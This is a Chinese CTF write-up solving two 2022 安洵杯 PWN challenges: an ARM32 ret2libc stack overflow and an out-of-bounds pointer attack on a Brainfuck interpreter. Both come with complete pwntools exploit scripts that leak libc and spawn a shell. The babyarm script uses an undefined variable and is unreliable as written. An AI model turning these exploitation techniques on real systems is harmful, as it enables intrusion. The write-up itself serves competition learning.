# 2022安洵杯 CTF PWN wp ##前言:上午在打别的比赛,题不难,下午三点才上的号,导致我们差一名进决赛,太可惜了(都怪我 呜呜呜,下次认真。 ##babyarm: 思路:栈溢出,异构PWN,arm,retlibc2,一次retlibc泄露got表计算出libc基地址,第二次打system即可,找到gadget传参即可,由于题目是arm32位,前4个参数是用r0~r3寄存器传参,所以我们第一步泄露libc的话,需要找到pop r0,然后再找一个有blx的寄存器进行跳转即可,参考kot师傅的寄存器,采用了以下 pop{r4,r5,r6,r7,r8,sb,sl,pc} pop{r3,pc} mov r0,r7;blx r3 exp: ```python from pwn import * p=process(['qemu-arm','-g','1234','-L','/usr/arm-linux-gnueabi','./chall']) libc=ELF("./libc-2.27.so") elf=ELF("./chall") puts_got=elf.got['puts'] puts_plt=0x0104AC mainaddr=0x10C4C #ropper --files libc.2.27.so search "pop|mov" #pop {r4, r5, r6, r7, r8, sb, sl, pc} # pop {r3, pc} #mov r0, r7; blx r3 popr1=0x00010cb0 popr3=0x00010464 movr0=0x00010ca0 p.sendlineafter("msg>","s1mpl3Dec0d4r") #leak libc_bse rop1='a'*0x2c+p32(popr1)+p32(0)+p32(0)+p32(0)+p32(puts_got)+p32(0)+p32(0)+p32(0) rop1+=p32(puts_plt)+p32(movr0)+p32(mainaddr)*10 p.sendlineafter("comment>",rop1) data = p.recvline() libc_base = u32(data[1:5]) - libc.sym["puts"] system = libc_base + libc.sym["system"] binsh=libc_base+next(libc.search(b'/bin/sh\x00')) print hex(data) print hex(libc_base) print hex(system) print hex(binsh) #attack ret addr----->system('/bin/sh') rop2=p32(popr1)+p32(0)+p32(0)+p32(0)+p32(binsh)+p32(0)+p32(0)+p32(0)+p32(popr2) rop2+=p32(system)+p32(movr0) p.sendlineafter("msg>","a"*0x2c+rop2) p.interactive() ``` ##babybf: 此题是继qwnt做出的第二个Brainfuck解释器PWN题,它有一套自己的符号,类似于vm,也算一个vm题,通过移动指针来进行越界写和越界读,这题就是通过移动指针来越界读和越界写,来列举下breainfuckf | Brainfuck | C | | --------- | ------------------------------------------------------------ | | > | ++ptr; | | < | --ptr; | | + | ++*ptr; | | - | --*ptr; | | . | putchar(*ptr); | | , | *ptr =getch(); | | [ | while (*ptr) { | | ] | } | 通过>移动87位置泄露libc,再次通过>移动56次来劫持返回地址rop即可 exp: ```python from pwn import * p=process("./chall") p=remote('47.108.29.107',10472) #libc=ELF("/home/roo/Desktop/tools/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/libc.so.6") libc=ELF("libc-2.27.so") def sendcode(length,code): p.sendafter("len> ",str(length)) p.sendafter("code> ",code) #pay=">" pay=">"*87 pay+=">."*9 #gdb.attach(p) sleep(1) sendcode(len(pay),pay) libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(0x8, b'\x00'))-0x21b97-0xf0 print hex(libcbase) ''' 0x4f2a5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f302 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a2fc execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' rce1=libcbase+0x10a2fc rce2=libcbase+0x4f322 rce3=libcbase+0x10a38c poprdi=libcbase+0x000000000002164f poprsi=libcbase+0x0000000000023a6a system=libcbase+libc.sym['system'] binsh=libcbase+next(libc.search(b'/bin/sh\x00')) print type(rce1) print hex(rce1) # rce_1=rce1&0xff # rce1=rce1>>8 # rce_2=rce1&0xff # rce1=rce1>>8 # rce_3=rce1&0xff # rce1=rce1>>8 # rce_4=rce1&0xff # rce1=rce1>>8 # rce_5=rce1&0xff # rce1=rce1>>8 # rce_6=rce1&0xff # rce1=rce1>>8 # rce_7=rce1&0xff pay2="-"*40 #pay2+="," #gdb.attach(p) sendcode(len(pay2),pay2) pay3=">"*56 pay3+=",>"*8 pay3+=",>"*8 pay3+=",>"*8 pay3+=",>"*8 sendcode(len(pay3),pay3) rop=p64(libcbase+0x000000000002155f)+p64(binsh)+p64(system) p.send(p64(libcbase+0x00000000000008aa)) p.send(p64(libcbase+0x000000000002164f)) p.send(p64(binsh)) p.send(p64(system)) p.interactive() ```